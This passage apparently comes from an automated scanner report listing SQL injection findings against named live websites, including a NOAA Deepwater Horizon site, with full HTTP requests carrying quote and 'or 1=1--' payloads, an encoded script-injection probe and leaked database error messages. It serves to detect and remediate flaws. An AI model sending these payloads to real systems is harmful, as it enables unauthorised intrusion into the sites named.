The __utmz cookie appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the __utmz cookie, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be Microsoft SQL Server.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /SQL-Injection HTTP/1.1
Host: projects.webappsec.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=133238479.1298670519.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)'; pbj=c141224b73feb9193565e6eeb03e001298670485; pb_perfmon=deleted; __utma=133238479.1282775871.1298670519.1298670519.1298670519.1; __utmc=133238479; __qca=P0-1048600453-1298670520461; __utmb=133238479.1.10.1298670519;

Response (redirected)

HTTP/1.1 200 OK
Server: nginx/0.6.32
Date: Sat, 26 Feb 2011 02:14:57 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Expires: Fri, 25 Feb 2011 02:14:57 GMT
Cache-Control: no-cache
Content-Length: 29027

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
   <head>
<meta http-equiv="cont
...[SNIP]...
<pre style="margin-left:40px;">Microsoft OLE DB Provider for ODBC Drivers error
</pre>
...[SNIP]...
<pre style="margin-left:40px;">[Microsoft][ODBC SQL Server Driver][SQL Server]All
</pre>
...[SNIP]...

1.79. http://projects.webappsec.org/SQL-Injection [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://projects.webappsec.org
Path:   /SQL-Injection

Issue detail

The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be Microsoft SQL Server.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /SQL-Injection?1'=1 HTTP/1.1
Host: projects.webappsec.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=133238479.1298670519.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); pbj=c141224b73feb9193565e6eeb03e001298670485; pb_perfmon=deleted; __utma=133238479.1282775871.1298670519.1298670519.1298670519.1; __utmc=133238479; __qca=P0-1048600453-1298670520461; __utmb=133238479.1.10.1298670519;

Response (redirected)

HTTP/1.1 200 OK
Server: nginx/0.6.32
Date: Sat, 26 Feb 2011 02:15:24 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Expires: Fri, 25 Feb 2011 02:15:24 GMT
Cache-Control: no-cache
Content-Length: 29027

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
   <head>
<meta http-equiv="cont
...[SNIP]...
<pre style="margin-left:40px;">Microsoft OLE DB Provider for ODBC Drivers error
</pre>
...[SNIP]...
<pre style="margin-left:40px;">[Microsoft][ODBC SQL Server Driver][SQL Server]All
</pre>
...[SNIP]...

1.80. http://projects.webappsec.org/SQL-Injection [pb_perfmon cookie]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://projects.webappsec.org
Path:   /SQL-Injection

Issue detail

The pb_perfmon cookie appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the pb_perfmon cookie, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be Microsoft SQL Server.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /SQL-Injection HTTP/1.1
Host: projects.webappsec.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=133238479.1298670519.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); pbj=c141224b73feb9193565e6eeb03e001298670485; pb_perfmon=deleted'; __utma=133238479.1282775871.1298670519.1298670519.1298670519.1; __utmc=133238479; __qca=P0-1048600453-1298670520461; __utmb=133238479.1.10.1298670519;

Response (redirected)

HTTP/1.1 200 OK
Server: nginx/0.6.32
Date: Sat, 26 Feb 2011 02:15:10 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Expires: Fri, 25 Feb 2011 02:15:10 GMT
Cache-Control: no-cache
Content-Length: 29028

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
   <head>
<meta http-equiv="cont
...[SNIP]...
<pre style="margin-left:40px;">Microsoft OLE DB Provider for ODBC Drivers error
</pre>
...[SNIP]...
<pre style="margin-left:40px;">[Microsoft][ODBC SQL Server Driver][SQL Server]All
</pre>
...[SNIP]...

1.81. http://projects.webappsec.org/SQL-Injection [pbj cookie]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://projects.webappsec.org
Path:   /SQL-Injection

Issue detail

The pbj cookie appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the pbj cookie, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be Microsoft SQL Server.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /SQL-Injection HTTP/1.1
Host: projects.webappsec.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=133238479.1298670519.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); pbj=c141224b73feb9193565e6eeb03e001298670485'; pb_perfmon=deleted; __utma=133238479.1282775871.1298670519.1298670519.1298670519.1; __utmc=133238479; __qca=P0-1048600453-1298670520461; __utmb=133238479.1.10.1298670519;

Response (redirected)

HTTP/1.1 200 OK
Server: nginx/0.6.32
Date: Sat, 26 Feb 2011 02:15:08 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Expires: Fri, 25 Feb 2011 02:15:08 GMT
Cache-Control: no-cache
Content-Length: 28610

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
   <head>
<meta http-equiv="cont
...[SNIP]...
<pre style="margin-left:40px;">Microsoft OLE DB Provider for ODBC Drivers error
</pre>
...[SNIP]...
<pre style="margin-left:40px;">[Microsoft][ODBC SQL Server Driver][SQL Server]All
</pre>
...[SNIP]...

1.82. http://projects.webappsec.org/w/session/login [Referer HTTP header]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://projects.webappsec.org
Path:   /w/session/login

Issue detail

The Referer HTTP header appears to be vulnerable to SQL injection attacks. The payloads 15929952'%20or%201%3d1--%20 and 15929952'%20or%201%3d2--%20 were each submitted in the Referer HTTP header. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /w/session/login HTTP/1.1
Host: projects.webappsec.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=133238479.1298670519.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); pbj=c141224b73feb9193565e6eeb03e001298670485; pb_perfmon=deleted; __utma=133238479.1282775871.1298670519.1298670519.1298670519.1; __utmc=133238479; __qca=P0-1048600453-1298670520461; __utmb=133238479.1.10.1298670519;
Referer: http://www.google.com/search?hl=en&q=15929952'%20or%201%3d1--%20

Response 1

HTTP/1.1 200 OK
Server: nginx/0.6.32
Date: Sat, 26 Feb 2011 02:14:49 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Expires: Fri, 25 Feb 2011 02:14:49 GMT
Cache-Control: no-cache
Content-Length: 7079

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
   <head>
<meta http-equiv="cont
...[SNIP]...
<script type="text/javascript">
PBperf["ts_c_ft_rcv"] = new Date().getTime().toString()
PBperf["ts_s_req_st"] = "1298686489652";
PBperf["ts_s_rend_st"] = "1298686489687";
PBperf["wiki"] = "webappsec";
PBperf["sn"] = "16867";
PBperf["ts_s_rend_fin"] = "1298686489708";

</script>
</body>
</html>
<script>
if( Cookie.get('pbj') == '' && $('enable_cookies_msg') ){
$('enable_cookies_msg').show();
var fail;
if(fail = $('password_fail')) { fail.hide(); }
}</script>
<!-- Start Quantcast tag -->
<script type="text/javascript" src="http://edge.quantserve.com/quant.js"></script>
<script type="text/javascript">_qacct="p-16CGFkiSpdTEU";quantserve();</script>
<noscript><img src="http://pixel.quantserve.com/pixel/p-16CGFkiSpdTEU.gif" style="display: none" height="1" width="1" alt="Quantcast"/></noscript>
<!-- End Quantcast tag -->
<script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
</script>
<script type="text/javascript">
var pageTracker = _gat._getTracker("UA-2694787-12");
pageTracker._setDomainName(".pbworks.com");
if (document.cookie.match(/hm=/)) {
pageTracker._setVar('authenticated');
}
pageTracker._setAllowHash(false);
pageTracker._trackPageview();
</script>

<!-- v=2,utz=x,ssl=0,ua=Win-MSIE-7,uid=0,sn=16867,pid=7359,hn=sf52,php=5.3.3-7,nw=0,w=webappsec,pv=pub,pkg=p5,perm=none,crea=1236791014,mt=1298335040,sc=1554,cl=1,cat=edu,mpu=7,NQsid=1,Nmc=252,Ncd=0.0010,Nkb=26,Nct=0.0635,Ncl=1298680821.1519,Nwc=1,Nwt=1298680821.1731,sid=13246901,te=0.062 -->

Request 2

GET /w/session/login HTTP/1.1
Host: projects.webappsec.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=133238479.1298670519.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); pbj=c141224b73feb9193565e6eeb03e001298670485; pb_perfmon=deleted; __utma=133238479.1282775871.1298670519.1298670519.1298670519.1; __utmc=133238479; __qca=P0-1048600453-1298670520461; __utmb=133238479.1.10.1298670519;
Referer: http://www.google.com/search?hl=en&q=15929952'%20or%201%3d2--%20

Response 2

HTTP/1.1 200 OK
Server: nginx/0.6.32
Date: Sat, 26 Feb 2011 02:14:50 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Expires: Fri, 25 Feb 2011 02:14:50 GMT
Cache-Control: no-cache
Content-Length: 7067

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
   <head>
<meta http-equiv="cont
...[SNIP]...
<script type="text/javascript">
PBperf["ts_c_ft_rcv"] = new Date().getTime().toString()
PBperf["ts_s_req_st"] = "1298686490301";
PBperf["ts_s_rend_st"] = "1298686490397";
PBperf["wiki"] = "webappsec";
PBperf["sn"] = "16886";
PBperf["ts_s_rend_fin"] = "1298686490420";

</script>
</body>
</html>
<script>
if( Cookie.get('pbj') == '' && $('enable_cookies_msg') ){
$('enable_cookies_msg').show();
var fail;
if(fail = $('password_fail')) { fail.hide(); }
}</script>
<!-- Start Quantcast tag -->
<script type="text/javascript" src="http://edge.quantserve.com/quant.js"></script>
<script type="text/javascript">_qacct="p-16CGFkiSpdTEU";quantserve();</script>
<noscript><img src="http://pixel.quantserve.com/pixel/p-16CGFkiSpdTEU.gif" style="display: none" height="1" width="1" alt="Quantcast"/></noscript>
<!-- End Quantcast tag -->
<script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
</script>
<script type="text/javascript">
var pageTracker = _gat._getTracker("UA-2694787-12");
pageTracker._setDomainName(".pbworks.com");
if (document.cookie.match(/hm=/)) {
pageTracker._setVar('authenticated');
}
pageTracker._setAllowHash(false);
pageTracker._trackPageview();
</script>

<!-- v=2,utz=x,ssl=0,ua=Win-MSIE-7,uid=0,sn=16886,pid=8023,hn=sf70,nw=0,w=webappsec,pv=pub,pkg=p5,perm=none,crea=1236791014,mt=1298335040,sc=1554,cl=1,cat=edu,mpu=6,NQsid=1,Nmc=252,Ncd=0.0015,Nkb=26,Nct=0.0635,Ncl=1298680821.1519,Nwc=1,Nwt=1298680821.1731,sid=13246901,te=0.127 -->

1.83. http://recs.richrelevance.com/rrserver/p13n_generated.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://recs.richrelevance.com
Path:   /rrserver/p13n_generated.js

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 1, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /rrserver'/p13n_generated.js?a=5387d7af823640a7&ts=1298696012699&pte=t&cn=women&c=70656&pt=%7Ccategory_page&s=610713bc749cf4d34b532d430bfb19afaxMnVNoVzaGoxMnVNoVzaGW200BDDB78D40746D2B91C5B5BCF5317AD0AE1105704&pref=http%3A%2F%2Fwww.jcpenney.com%2Fjcp%2Fdefault.aspx&l=1 HTTP/1.1
Host: recs.richrelevance.com
Proxy-Connection: keep-alive
Referer: http://www2.jcpenney.com/jcp/x2.aspx?DeptID=70656&CatID=70656&cmAMS_T=G1&cmAMS_C=D1B&mscssid=6781f8d69adfb4b56a7c960f89a4dcae2xMnVNoV5a3oxMnVNoV5a3W200B58E3AFFEDC3F853B83DAF37AF65E61271105704&cmAMS_V=
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: uc=8f0d715c-e29a-4f38-9373-184b98130248

Response 1

HTTP/1.1 404 Not Found
Server: nginx/0.8.44
Date: Sat, 26 Feb 2011 04:54:36 GMT
Content-Type: text/html;charset=utf-8
Connection: keep-alive
Content-Length: 1036

<html><head><title>Apache Tomcat/6.0.18 - Error report</title><style><!--H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} H2 {font-family:Tahoma,Arial,sans
...[SNIP]...

Request 2

GET /rrserver''/p13n_generated.js?a=5387d7af823640a7&ts=1298696012699&pte=t&cn=women&c=70656&pt=%7Ccategory_page&s=610713bc749cf4d34b532d430bfb19afaxMnVNoVzaGoxMnVNoVzaGW200BDDB78D40746D2B91C5B5BCF5317AD0AE1105704&pref=http%3A%2F%2Fwww.jcpenney.com%2Fjcp%2Fdefault.aspx&l=1 HTTP/1.1
Host: recs.richrelevance.com
Proxy-Connection: keep-alive
Referer: http://www2.jcpenney.com/jcp/x2.aspx?DeptID=70656&CatID=70656&cmAMS_T=G1&cmAMS_C=D1B&mscssid=6781f8d69adfb4b56a7c960f89a4dcae2xMnVNoV5a3oxMnVNoV5a3W200B58E3AFFEDC3F853B83DAF37AF65E61271105704&cmAMS_V=
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: uc=8f0d715c-e29a-4f38-9373-184b98130248

Response 2

HTTP/1.1 400 Bad Request
Server: nginx/0.8.44
Date: Sat, 26 Feb 2011 04:54:36 GMT
Connection: keep-alive
Content-Length: 0


1.84. http://response.restoration.noaa.gov/deepwaterhorizon/factsheets [%27--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000012)%3C/script%3E parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://response.restoration.noaa.gov
Path:   /deepwaterhorizon/factsheets

Issue detail

The %27--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000012)%3C/script%3E parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the %27--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000012)%3C/script%3E parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /deepwaterhorizon/factsheets?%27--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000012)%3C/script%3E' HTTP/1.1
Host: response.restoration.noaa.gov
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=7bf40be4e7088c5b50a95bc456b809b0

Response 1

HTTP/1.1 404 Not Found
Date: Sat, 26 Feb 2011 13:46:42 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 1292

<br />
<b>Warning</b>: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in <b>/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/404.php</b> on line <b>27</b>
...[SNIP]...

Request 2

GET /deepwaterhorizon/factsheets?%27--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000012)%3C/script%3E'' HTTP/1.1
Host: response.restoration.noaa.gov
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=7bf40be4e7088c5b50a95bc456b809b0

Response 2

HTTP/1.1 302 Found
Date: Sat, 26 Feb 2011 13:46:43 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Location: http://response.restoration.noaa.gov/orr_search.php?message=The page you requested was not found. Please use our search page to find what you were looking for.
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 590

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1
...[SNIP]...

1.85. http://response.restoration.noaa.gov/deepwaterhorizon/factsheets [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://response.restoration.noaa.gov
Path:   /deepwaterhorizon/factsheets

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 1, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /deepwaterhorizon'/factsheets HTTP/1.1
Host: response.restoration.noaa.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 404 Not Found
Date: Sat, 26 Feb 2011 02:06:46 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Vary: Accept-Encoding
Content-Length: 1218
Connection: close
Content-Type: text/html

<br />
<b>Warning</b>: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in <b>/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/404.php</b> on line <b>27</b>
...[SNIP]...

Request 2

GET /deepwaterhorizon''/factsheets HTTP/1.1
Host: response.restoration.noaa.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 2

HTTP/1.1 302 Found
Date: Sat, 26 Feb 2011 02:06:47 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Location: http://response.restoration.noaa.gov/orr_search.php?message=The page you requested was not found. Please use our search page to find what you were looking for.
Vary: Accept-Encoding
Content-Length: 516
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1
...[SNIP]...

1.86. http://response.restoration.noaa.gov/deepwaterhorizon/factsheets [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://response.restoration.noaa.gov
Path:   /deepwaterhorizon/factsheets

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /deepwaterhorizon/factsheets' HTTP/1.1
Host: response.restoration.noaa.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 404 Not Found
Date: Sat, 26 Feb 2011 02:06:48 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Vary: Accept-Encoding
Content-Length: 1218
Connection: close
Content-Type: text/html

<br />
<b>Warning</b>: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in <b>/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/404.php</b> on line <b>27</b>
...[SNIP]...

Request 2

GET /deepwaterhorizon/factsheets'' HTTP/1.1
Host: response.restoration.noaa.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 2

HTTP/1.1 302 Found
Date: Sat, 26 Feb 2011 02:06:48 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Location: http://response.restoration.noaa.gov/orr_search.php?message=The page you requested was not found. Please use our search page to find what you were looking for.
Vary: Accept-Encoding
Content-Length: 516
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1
...[SNIP]...

1.87. http://response.restoration.noaa.gov/deepwaterhorizon/factsheets [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://response.restoration.noaa.gov
Path:   /deepwaterhorizon/factsheets

Issue detail

The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /deepwaterhorizon/factsheets?1'=1 HTTP/1.1
Host: response.restoration.noaa.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 404 Not Found
Date: Sat, 26 Feb 2011 02:06:38 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Vary: Accept-Encoding
Content-Length: 1222
Connection: close
Content-Type: text/html

<br />
<b>Warning</b>: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in <b>/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/404.php</b> on line <b>27</b>
...[SNIP]...

Request 2

GET /deepwaterhorizon/factsheets?1''=1 HTTP/1.1
Host: response.restoration.noaa.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 2

HTTP/1.1 302 Found
Date: Sat, 26 Feb 2011 02:06:38 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Location: http://response.restoration.noaa.gov/orr_search.php?message=The page you requested was not found. Please use our search page to find what you were looking for.
Vary: Accept-Encoding
Content-Length: 520
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1
...[SNIP]...

1.88. http://response.restoration.noaa.gov/deepwaterhorizon/noaaroles [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://response.restoration.noaa.gov
Path:   /deepwaterhorizon/noaaroles

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 1, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /deepwaterhorizon'/noaaroles HTTP/1.1
Host: response.restoration.noaa.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 404 Not Found
Date: Sat, 26 Feb 2011 02:06:45 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Vary: Accept-Encoding
Content-Length: 1217
Connection: close
Content-Type: text/html

<br />
<b>Warning</b>: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in <b>/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/404.php</b> on line <b>27</b>
...[SNIP]...

Request 2

GET /deepwaterhorizon''/noaaroles HTTP/1.1
Host: response.restoration.noaa.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 2

HTTP/1.1 302 Found
Date: Sat, 26 Feb 2011 02:06:45 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Location: http://response.restoration.noaa.gov/orr_search.php?message=The page you requested was not found. Please use our search page to find what you were looking for.
Vary: Accept-Encoding
Content-Length: 515
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1
...[SNIP]...

1.89. http://response.restoration.noaa.gov/deepwaterhorizon/noaaroles [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://response.restoration.noaa.gov
Path:   /deepwaterhorizon/noaaroles

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /deepwaterhorizon/noaaroles' HTTP/1.1
Host: response.restoration.noaa.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 404 Not Found
Date: Sat, 26 Feb 2011 02:06:46 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Vary: Accept-Encoding
Content-Length: 1217
Connection: close
Content-Type: text/html

<br />
<b>Warning</b>: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in <b>/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/404.php</b> on line <b>27</b>
...[SNIP]...

Request 2

GET /deepwaterhorizon/noaaroles'' HTTP/1.1
Host: response.restoration.noaa.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 2

HTTP/1.1 302 Found
Date: Sat, 26 Feb 2011 02:06:46 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Location: http://response.restoration.noaa.gov/orr_search.php?message=The page you requested was not found. Please use our search page to find what you were looking for.
Vary: Accept-Encoding
Content-Length: 515
